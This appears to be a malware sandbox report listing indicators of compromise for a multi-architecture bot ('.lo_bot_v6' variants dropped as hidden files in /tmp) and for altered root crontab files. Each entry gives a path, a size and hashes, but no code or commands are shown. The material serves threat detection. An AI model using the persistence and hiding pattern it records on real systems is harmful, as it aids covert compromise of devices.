T1F5B4BF8673061E36F0B3A93E80D64B12BA38E78155C367272168B665AD375BC2F317C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_mips

Path /tmp/.lo_bot_v6_mips
Size 691KB
SHA256 5da624914dd16732cefeacbd3c01fbf213693dc16d7bb65364dfbe873854d66a
MD5 14ee15dfea820f329c9c34bc6ec17179
SHA1 f78424961a39beb628e40967b1e319ee464156dd
SHA512 e05862acdeb1450462d5eecf455407de77e85ad778fc0deeb65e6edf5e9087fb84f625a1bebfb1ca72cd369ac5633e1cf489a5a2d4d2dc8fae2ee55fc4bcc7b8
SSDEEP 12288:Lzy4WgU1QVmmzVcQfAXwDez/b7RQH8ayGWmBm8pvMEMtn:K4WgU1Q9BfYwDezT7RC8aNWmmEa
TLSH
T126E46B633B11CFA5E319D27009F3C6659AD425A31AE25085B27CC31C7E61A6E2D1FEF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_mipsel

Path /tmp/.lo_bot_v6_mipsel
Size 695KB
SHA256 f8381d418351dacc32c914005aab7e7d597afea3a4276c34eac2ea2d3ece3eeb
MD5 c046f1d1efe799245c9bd3acfaff3974
SHA1 9a3d4a8257249e3020a453db395270831919575c
SHA512 c0511951ea6ced9d7365806bf6b26d2e0629799c56dbc4019f978b4878b4795c3a46d47264e34be0a67ccea0078aee3cb46c0b3787589d0f28b20c9e834e38b0
SSDEEP 12288:uCYpn0GZtM35YiGXUOO4Zf/Nb/fNt6An/GtR3J8PwfKlONoHHPbHueBT5smVSSpR:PQ7r9k7RcvUMgbIM17
TLSH
T1FDE44A03BF805FFBC4AFCD70892EC35611DDE9D702D1A62A71FC4A8CBA5965A0AD3548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_ppc

Path /tmp/.lo_bot_v6_ppc
Size 774KB
SHA256 c248a73fd6b4df360938f7cbd1a829114f01d303b61e2ae67474ca0bba546903
MD5 371df4ec8c3b0c29abf5546e186e4af0
SHA1 0948bb4187373683909b6e51ce90a0defe6d0885
SHA512 55ee143c5045f0a825afc42cba3c8b2c86be8bd787a51bd4b0561eeb92590663a468d53b0083dd493bcfb90f3b27f44e809a1e4dbffdb3c88fca6f9b18b07c08
SSDEEP 12288:B4YIKgdr8nYMt3fPqSmgkGpkRP3LfGlRAnkO0bdJygepQBgpbWwZcl:CYIKgdr8nDcSmPGpkxTGYkO0LgEwW
TLSH
T192F44A46FB1C4523C9531DF02A3F43D9F3147A4340F5D22A270E6B572622E3AAAD779A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_s390x

Path /tmp/.lo_bot_v6_s390x
Size 654KB
SHA256 0b51f161c85408c1f679aefae055e08bcb2f70514dccf91c8260bfc8be73cbf5
MD5 876d891ad5c1c098819b1a0198f78356
SHA1 2b6575a1ee71fa5cd25402f5a6b45b40413b0c1a
SHA512 46c66e6f8c1ecab4b738582923551cafdf16388c56612749c86430cea7db686706927881b9cae979f603c4f0c2ba5b135888cbfc5911f7b9a956e7e856719094
SSDEEP 12288:G9/7v8ak+VKlSs/K2JUGRdUsvsCi3ZsjVabEBxeES3sde:mvNZsS2yds01Zskpk
TLSH
T1D2E44A87BB288996C0706E37E1B7EBF183A77A7519D85A0D8C58F72744B2304CB15DA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_sh4

Path /tmp/.lo_bot_v6_sh4
Size 522KB
SHA256 2070a9bb096a06d835d5dbd4556724111e97d0bfe8e679317023c3becefd62a6
MD5 1c85a1a1a0ec446d2237f872a695370b
SHA1 11b37056640505079755bf3f815ae460e6a92b3d
SHA512 48f6cf36149a2ee3d8173b016245ff0ef45b94ecd9f2f0db118d8401ebe9b9add95d16580c74dd8fba6fa356717132a49b4278943ae6cb149e9dc54d111b2525
SSDEEP 12288:bOqkctn8avVtZoO2xPv3YiL1IeUfy8phYsz1x:2avFoPvge9
TLSH
T15CB4BE53F271AEC7D11A4BB4003DE230474BE9921723B680F63A93652C736AABF5C765
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_sparc

Path /tmp/.lo_bot_v6_sparc
Size 604KB
SHA256 6de4c914ee15743a5ab2b4e116fb2e81facb5dd3f80f6f0062471628e769a582
MD5 a0503bbdc88ebf4394a9b27ccd272d8a
SHA1 768c2a00cc13e457ea8f2d9bb231695dbba01793
SHA512 267b19ad33515954af61863bcdf7a0b8a66c85b2235b0f2a986ba2bd44dcd36f03eb189558279b8ae6f6e91c00e2b5011c7fb408081151051d7bda8c51f1a23d
SSDEEP 12288:fUL3uwO9z4vEufvXYhMJLcQhNWL8UMs5/ni9g:gXOZ4vE5tJ
TLSH
T1DFD4AE527BF22225D2405734C761D760774ADBA9A4E8070F9FA0CECFEF561641A82CFA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_x86

Path /tmp/.lo_bot_v6_x86
Size 782KB
SHA256 566bcd6e284a0a6ae4854103bdbb91c45c7918bff0f6813b7ceafd0a9624a5aa
MD5 55f9ed2181c4548d397e7bbd1939d35c
SHA1 ee8233d0ab158cf2dd95d43033d1baf6ed4146af
SHA512 88f51dc0ac3259f47ca238bdc2a2898f30958d734336c2f71f9c590c3161f414e4a87edff1da5f6ddbe57ed1641c7dc0e449de8e416e646dd5d463591656831d
SSDEEP 12288:XU6QwxWjIWnhbThi6/3sYq/+5WoqWP1K9m4q26TShA+rJmwvgyXBEqamhDHXmVt:XtQQSXhbTh1kWP1K84q2bAEPzPF
TLSH
T1BC057DD8EB83D4F1F66300F1024EDBF21934A51A6053FAF2EB453A5774727A22F16269
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_x86_64

Path /tmp/.lo_bot_v6_x86_64
Size 929KB
SHA256 7f19d881a9dedd04f39658aafe9cb6784b5cfaf17db1803b79b054323d65830e
MD5 ec423d842ec0a1b08934c2758fdbec56
SHA1 212ca905b11692003995278696e09b31ea55949f
SHA512 a21330b92aa2f9b57673819d8ad74ae5fec4429089088af10ff72910d10335d012151033f2a8950fbe6a5198b6483589f4e4755e366e01f4b54df6646b2afc91
SSDEEP 12288:I9o5chRhbnY6nBWIwsEhYR8uzbxK2mydX1kGmttJuZ5k:I9oKhRhbbnBWjscY+IbxKYFXYtJu
TLSH
T16B157D5AF2B370FCC167C030435FDB62A839F46911226E7B25C4E6352DA6DB01B29F66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 631B
SHA256 32b36c7dd4bebeb9e37be93290a95616824bb048c06c0af8f50c257aa0c936ce
MD5 13253c7709d5c7d1ae760e1bd56d4352
SHA1 5a5d3b9aeb67a94110e7eb58f0422524b29355d9
SHA512 9fa95b5ce7b03af986727b35a0d9fac3808815fd397cd9b020487c9e4ff4e6842734c055556b6dff974aa0cf1b38638e26d0db251ca9e5040293369017dd9a18
TLSH
T121F022F08002833CC22BC03AB280C22080020A0B3AC322000F3C8C00200AB8F3002A00
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.GJH5IE

Path /var/spool/cron/crontabs/tmp.GJH5IE
Size 466B
SHA256 176d19212b7b7e8da4bb9f0a1e12a4fe64d3019c5169e2a841def311745a7d1d
MD5 947b4c907b6b2025608127f67e7147eb
SHA1 6a6b57dc7522df4b9ea38ac6a18f772d9a72564f
SHA512 86ab603962d9d68eb1a5a754765757897c3faf7c9dadf5ddfaeeeb9969bafcf2a6238a3e5dfdb5bc8af052f90bfedd55065e486e67e03bda0e06379afcc2195b
TLSH
T14EF0ECACEB2095306888DDCE3668C329B854857AA8C62D14EEAC3DB41166AC971DBB51
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.Zxgjud

Path /var/spool/cron/crontabs/tmp.Zxgjud
Size 565B
SHA256 6e86b2a07a7bc4812f75753ed0d1c8c20293de1e5e5a15b2617a87ae32aa30b0
MD5 558eace76bd2c4cd458fb739f65be133
SHA1 f235ed41c7f4617980fdd9d2dee1e5a086c321f6
SHA512 c1c0338c4be751bb9d304cc1f8c26da15f0495b4400013bdb31c43c00f6f6ad6f2829ac5ef33224f6ea9dee82a6d25fc87bb4dc5fb07a5d1891fa9e79837149d
TLSH
T1A5F021ACDB2091305888CDCE3518C3297814857AA8C53D04ED6C3DB001769C531CBB51
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads